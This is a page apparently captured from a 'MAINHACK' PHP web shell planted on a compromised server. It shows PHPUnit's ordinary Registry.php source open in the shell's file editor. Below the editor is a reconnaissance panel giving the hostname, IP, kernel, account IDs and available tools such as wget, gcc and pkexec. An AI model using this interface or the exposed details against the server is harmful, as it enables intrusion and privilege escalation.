[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Registry.php
<?php declare(strict_types=1); /* * This file is part of PHPUnit. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function assert; use function file_get_contents; use function file_put_contents; use function serialize; use function unserialize; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\TextUI\CliArguments\Configuration as CliConfiguration; use PHPUnit\TextUI\CliArguments\Exception; use PHPUnit\TextUI\XmlConfiguration\Configuration as XmlConfiguration; use PHPUnit\Util\VersionComparisonOperator; /** * CLI options and XML configuration are static within a single PHPUnit process. * It is therefore okay to use a Singleton registry here. * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Registry { private static ?Configuration $instance = null; public static function saveTo(string $path): bool { $result = file_put_contents( $path, serialize(self::get()), ); if ($result) { return true; } return false; } /** * This method is used by the "run test(s) in separate process" templates. * * @noinspection PhpUnused */ public static function loadFrom(string $path): void { self::$instance = unserialize( file_get_contents($path), [ 'allowed_classes' => [ Configuration::class, Php::class, ConstantCollection::class, Constant::class, IniSettingCollection::class, IniSetting::class, VariableCollection::class, Variable::class, DirectoryCollection::class, Directory::class, FileCollection::class, File::class, FilterDirectoryCollection::class, FilterDirectory::class, TestDirectoryCollection::class, TestDirectory::class, TestFileCollection::class, TestFile::class, TestSuiteCollection::class, TestSuite::class, VersionComparisonOperator::class, Source::class, ], ], ); } public static function get(): Configuration { assert(self::$instance instanceof Configuration); return self::$instance; } /** * @throws \PHPUnit\TextUI\XmlConfiguration\Exception * @throws Exception * @throws NoCustomCssFileException */ public static function init(CliConfiguration $cliConfiguration, XmlConfiguration $xmlConfiguration): Configuration { self::$instance = (new Merger)->merge($cliConfiguration, $xmlConfiguration); EventFacade::emitter()->testRunnerConfigured(self::$instance); return self::$instance; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.51 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002